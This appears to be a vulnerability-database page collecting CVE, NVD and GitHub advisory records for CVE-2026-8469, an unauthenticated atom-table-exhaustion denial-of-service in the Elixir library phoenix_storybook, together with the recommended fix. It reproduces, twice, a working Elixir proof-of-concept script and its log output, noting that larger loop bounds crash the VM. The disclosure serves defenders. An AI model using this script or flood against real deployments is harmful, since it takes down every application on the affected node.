Limits or Throttling\"}]}], \"configurations\": [{\"lang\": \"en\", \"value\": \"Phoenix Storybook must be mounted on a network-reachable route.\"}], \"cpeApplicability\": [{\"nodes\": [{\"cpeMatch\": [{\"criteria\": \"cpe:2.3:a:phenixdigital:phoenix_storybook:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"1.1.0\", \"versionStartIncluding\": \"0.2.0\"}], \"operator\": \"OR\"}]}], \"providerMetadata\": {\"orgId\": \"6b3ad84c-e1a6-4bf7-a703-f496b71e49db\", \"shortName\": \"EEF\", \"dateUpdated\": \"2026-05-27T15:40:55.927Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-8469\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-05-27T15:40:55.927Z\", \"dateReserved\": \"2026-05-13T11:44:43.316Z\", \"assignerOrgId\": \"6b3ad84c-e1a6-4bf7-a703-f496b71e49db\", \"datePublished\": \"2026-05-20T13:35:27.914Z\", \"assignerShortName\": \"EEF\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-8469

Vulnerability from fkie_nvd - Published: 2026-05-20 14:17 - Updated: 2026-06-17 11:03

Severity

8.2 (High) - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	6b3ad84c-e1a6-4bf7-a703-f496b71e49db	https://cna.erlef.org/cves/CVE-2026-8469.html
	6b3ad84c-e1a6-4bf7-a703-f496b71e49db	https://github.com/phenixdigital/phoenix_storybook/commit/96d524690af0fe197a49f60d18e564a620b9ef81
	6b3ad84c-e1a6-4bf7-a703-f496b71e49db	https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-833p-95jq-929q
	6b3ad84c-e1a6-4bf7-a703-f496b71e49db	https://osv.dev/vulnerability/EEF-CVE-2026-8469
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-833p-95jq-929q

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "collectionURL": "https://repo.hex.pm",
          "cpes": [
            "cpe:2.3:a:phenixdigital:phoenix_storybook:*:*:*:*:*:*:*:*"
          ],
          "defaultStatus": "unaffected",
          "modules": [
            "Elixir.PhoenixStorybook.ExtraAssignsHelpers",
            "Elixir.PhoenixStorybook.Story.Playground"
          ],
          "packageName": "phoenix_storybook",
          "packageURL": "pkg:hex/phoenix_storybook",
          "product": "phoenix_storybook",
          "programFiles": [
            "lib/phoenix_storybook/helpers/extra_assigns_helpers.ex",
            "lib/phx_live_storybook/live/entry_live.ex"
          ],
          "programRoutines": [
            {
              "name": "\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_set_variation_assign/3"
            },
            {
              "name": "\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_toggle_variation_assign/3"
            },
            {
              "name": "\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_variation_id/2"
            },
            {
              "name": "\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_value/4"
            }
          ],
          "repo": "https://github.com/phenixdigital/phoenix_storybook",
          "vendor": "phenixdigital",
          "versions": [
            {
              "lessThan": "1.1.0",
              "status": "affected",
              "version": "0.2.0",
              "versionType": "semver"
            }
          ]
        },
        {
          "collectionURL": "https://github.com",
          "cpes": [
            "cpe:2.3:a:phenixdigital:phoenix_storybook:*:*:*:*:*:*:*:*"
          ],
          "defaultStatus": "unaffected",
          "modules": [
            "Elixir.PhoenixStorybook.ExtraAssignsHelpers",
            "Elixir.PhoenixStorybook.Story.Playground"
          ],
          "packageName": "phenixdigital/phoenix_storybook",
          "packageURL": "pkg:github/phenixdigital/phoenix_storybook",
          "product": "phoenix_storybook",
          "programFiles": [
            "lib/phoenix_storybook/helpers/extra_assigns_helpers.ex",
            "lib/phx_live_storybook/live/entry_live.ex"
          ],
          "programRoutines": [
            {
              "name": "\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_set_variation_assign/3"
            },
            {
              "name": "\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_toggle_variation_assign/3"
            },
            {
              "name": "\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_variation_id/2"
            },
            {
              "name": "\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_value/4"
            }
          ],
          "repo": "https://github.com/phenixdigital/phoenix_storybook",
          "vendor": "phenixdigital",
          "versions": [
            {
              "lessThan": "96d524690af0fe197a49f60d18e564a620b9ef81",
              "status": "affected",
              "version": "0228669d55c23a754d1ef11f49a32121129d5395",
              "versionType": "git"
            }
          ]
        }
      ],
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Allocation of Resources Without Limits or Throttling vulnerability in phenixdigital phoenix_storybook allows unauthenticated denial-of-service via BEAM atom table exhaustion.\n\nMultiple LiveView event handlers convert user-supplied event parameter strings to atoms using String.to_atom/1 without validation: \u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_set_variation_assign/3 interns every key of the psb-assign params map; \u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_toggle_variation_assign/3 interns the \"attr\" value from psb-toggle events; \u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_variation_id/2 interns elements of \"variation_id\"; and \u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_value/4 interns raw string values for attributes declared as :atom or :boolean. BEAM atoms are never garbage-collected, so each unique attacker-controlled string is a permanent allocation. Once the atom table ceiling (~1,048,576 atoms) is reached, the entire BEAM node aborts, taking down all applications running on it.\n\nThis issue affects phoenix_storybook from 0.2.0 before 1.1.0."
    }
  ],
  "id": "CVE-2026-8469",
  "lastModified": "2026-06-17T11:03:58.230",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "PRESENT",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.2,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-8469",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-21T13:55:42.783019Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-20T14:17:04.447",
  "references": [
    {
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "url": "https://cna.erlef.org/cves/CVE-2026-8469.html"
    },
    {
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "url": "https://github.com/phenixdigital/phoenix_storybook/commit/96d524690af0fe197a49f60d18e564a620b9ef81"
    },
    {
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "url": "https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-833p-95jq-929q"
    },
    {
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-8469"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-833p-95jq-929q"
    }
  ],
  "sourceIdentifier": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-770"
        }
      ],
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "type": "Secondary"
    }
  ]
}

GHSA-833P-95JQ-929Q

Vulnerability from github – Published: 2026-06-09 21:59 – Updated: 2026-06-09 21:59

Summary

PhoenixStorybook: Unbounded atom creation from LiveView event params (atom-table DoS)

Details

Summary

An attacker who can deliver psb-assign, psb-toggle, psb-set-theme, upper-tab-navigation, lower-tab-navigation, playground-change, or playground-toggle LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.

Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395

Details

PhoenixStorybook.Story.Playground and PhoenixStorybook.ExtraAssignsHelpers converts user-supplied event params into atoms without checking whether the atoms already exist:

handle_set_variation_assign/3 (lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59) iterates the event params map and calls String.to_atom/1 on every key.
handle_toggle_variation_assign/3 (line 73) calls String.to_atom/1 on the "attr" value supplied by the client.
to_variation_id/2 (lines 90, 93) calls String.to_atom/1 on each element of "variation_id".
to_value/4 (lines 106, 107) calls String.to_atom/1 on the raw string value for any attribute declared as :atom or :boolean.

The existing guards do not help: check_type!/3 for :boolean inspects the atom after String.to_atom/1 has already interned it, so the leak has already happened. The :atom branch only checks is_atom/1, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.

The fix is to use String.to_existing_atom/1 (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared story.attributes() / variation registry and reuse the atom from there.

PoC

The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver psb-assign events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3 (see lib/phoenix_storybook/live/story/playground_preview_live.ex), so the script calls that helper directly with attacker-shaped params — a stub FakeStory providing an empty attributes/0 list and a single :default variation, plus an extra_assigns map keyed by {:single, :default}.

Each simulated request is a params map with 5,000 unique keys of the form "psb_evil_<nonce>_<r>_<i>". Because the helper does for {key, value} <- params, ..., do: {String.to_atom(key), ...}, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into :erlang.system_info(:atom_limit) and crashes the VM.

The script measures :erlang.system_info(:atom_count) before and after, prints the delta and the atom limit, and prints VERIFIED: … when the delta is at least requests * attrs_per_request (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.

The full script is attached below under "Scripts and Logs".

Impact

Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of psb-assign / psb-toggle events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.

Scripts and Logs

# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)
#
# Run with:
#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs
#
# Threat model: an outside attacker who can deliver `psb-assign` events to a
# mounted storybook view supplies attacker-controlled param maps. The library's
# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`
# is the documented entry point that LiveView event handlers feed those params
# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The
# helper interns every key of `params` with `String.to_atom/1`, so unique
# attacker strings each create a permanent atom.

Mix.install([{:phoenix_storybook, "1.0.0"}])

alias PhoenixStorybook.ExtraAssignsHelpers
alias PhoenixStorybook.Stories.Variation

defmodule FakeStory do
  def attributes, do: []
  def variations, do: [%Variation{id: :default, attributes: %{}}]
end

extra_assigns = %{{:single, :default} => %{}}

# Each request from the attacker is one params map. Use 5_000 unique attribute
# names per request, across 5 requests = 25_000 distinct atoms permanently
# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000

before_count = :erlang.system_info(:atom_count)

for r <- 1..requests do
  attacker_params =
    for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do
      {"psb_evil_#{nonce}_#{r}_#{i}", "x"}
    end

  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end

after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count

IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after:  #{after_count}")
IO.puts("delta:             #{delta}")
IO.puts("atom_limit:        #{:erlang.system_info(:atom_limit)}")

expected = requests * attrs_per_request

if delta >= expected do
  IO.puts(
    "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
  )
else
  IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end

Logs

atom_count before: 26341
atom_count after:  51361
delta:             25020
atom_limit:        1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.

Severity

8.2 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "phoenix_storybook"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.0"
            },
            {
              "fixed": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-8469"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-09T21:59:07Z",
    "nvd_published_at": "2026-05-20T14:17:04Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn attacker who can deliver `psb-assign`, `psb-toggle`, `psb-set-theme`, `upper-tab-navigation`, `lower-tab-navigation`, `playground-change`, or `playground-toggle` LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.\n\nTabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395\n\n### Details\n`PhoenixStorybook.Story.Playground` and `PhoenixStorybook.ExtraAssignsHelpers` converts user-supplied event params into atoms without checking whether the atoms already exist:\n\n- `handle_set_variation_assign/3` (`lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59`) iterates the event params map and calls `String.to_atom/1` on every key.\n- `handle_toggle_variation_assign/3` (line 73) calls `String.to_atom/1` on the `\"attr\"` value supplied by the client.\n- `to_variation_id/2` (lines 90, 93) calls `String.to_atom/1` on each element of `\"variation_id\"`.\n- `to_value/4` (lines 106, 107) calls `String.to_atom/1` on the raw string value for any attribute declared as `:atom` or `:boolean`.\n\nThe existing guards do not help: `check_type!/3` for `:boolean` inspects the atom *after* `String.to_atom/1` has already interned it, so the leak has already happened. The `:atom` branch only checks `is_atom/1`, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.\n\nThe fix is to use `String.to_existing_atom/1` (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared `story.attributes()` / variation registry and reuse the atom from there.\n\n### PoC\nThe attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver `psb-assign` events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3` (see `lib/phoenix_storybook/live/story/playground_preview_live.ex`), so the script calls that helper directly with attacker-shaped params \u2014 a stub `FakeStory` providing an empty `attributes/0` list and a single `:default` variation, plus an `extra_assigns` map keyed by `{:single, :default}`.\n\nEach simulated request is a params map with 5,000 unique keys of the form `\"psb_evil_\u003cnonce\u003e_\u003cr\u003e_\u003ci\u003e\"`. Because the helper does `for {key, value} \u003c- params, ..., do: {String.to_atom(key), ...}`, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total \u2014 modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into `:erlang.system_info(:atom_limit)` and crashes the VM.\n\nThe script measures `:erlang.system_info(:atom_count)` before and after, prints the delta and the atom limit, and prints `VERIFIED: \u2026` when the delta is at least `requests * attrs_per_request` (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself \u2014 only the ability to reach the storybook route and emit the event.\n\nThe full script is attached below under \"Scripts and Logs\".\n\n### Impact\nUnauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of `psb-assign` / `psb-toggle` events with unique keys is enough to crash the entire BEAM node, taking down every application running on it \u2014 not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)\n#\n# Run with:\n#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs\n#\n# Threat model: an outside attacker who can deliver `psb-assign` events to a\n# mounted storybook view supplies attacker-controlled param maps. The library\u0027s\n# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`\n# is the documented entry point that LiveView event handlers feed those params\n# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The\n# helper interns every key of `params` with `String.to_atom/1`, so unique\n# attacker strings each create a permanent atom.\n\nMix.install([{:phoenix_storybook, \"1.0.0\"}])\n\nalias PhoenixStorybook.ExtraAssignsHelpers\nalias PhoenixStorybook.Stories.Variation\n\ndefmodule FakeStory do\n  def attributes, do: []\n  def variations, do: [%Variation{id: :default, attributes: %{}}]\nend\n\nextra_assigns = %{{:single, :default} =\u003e %{}}\n\n# Each request from the attacker is one params map. Use 5_000 unique attribute\n# names per request, across 5 requests = 25_000 distinct atoms permanently\n# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)\nnonce = System.unique_integer([:positive])\nrequests = 5\nattrs_per_request = 5_000\n\nbefore_count = :erlang.system_info(:atom_count)\n\nfor r \u003c- 1..requests do\n  attacker_params =\n    for i \u003c- 1..attrs_per_request, into: %{\"variation_id\" =\u003e \"default\"} do\n      {\"psb_evil_#{nonce}_#{r}_#{i}\", \"x\"}\n    end\n\n  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)\nend\n\nafter_count = :erlang.system_info(:atom_count)\ndelta = after_count - before_count\n\nIO.puts(\"atom_count before: #{before_count}\")\nIO.puts(\"atom_count after:  #{after_count}\")\nIO.puts(\"delta:             #{delta}\")\nIO.puts(\"atom_limit:        #{:erlang.system_info(:atom_limit)}\")\n\nexpected = requests * attrs_per_request\n\nif delta \u003e= expected do\n  IO.puts(\n    \"VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM.\"\n  )\nelse\n  IO.puts(\"NOT VERIFIED: only #{delta} new atoms created (expected \u003e= #{expected})\")\nend\n\n```\n\n### Logs\n\n```logs\natom_count before: 26341\natom_count after:  51361\ndelta:             25020\natom_limit:        1048576\nVERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.\n```",
  "id": "GHSA-833p-95jq-929q",
  "modified": "2026-06-09T21:59:07Z",
  "published": "2026-06-09T21:59:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-833p-95jq-929q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8469"
    },
    {
      "type": "WEB",
      "url": "https://github.com/phenixdigital/phoenix_storybook/commit/96d524690af0fe197a49f60d18e564a620b9ef81"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-8469.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/phenixdigital/phoenix_storybook"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-8469"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PhoenixStorybook: Unbounded atom creation from LiveView event params (atom-table DoS)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

CVE-2026-8469 (GCVE-0-2026-8469)

FKIE_CVE-2026-8469

GHSA-833P-95JQ-929Q

Summary

Details

PoC

Impact

Scripts and Logs

Logs

Tags

Sightings

Nomenclature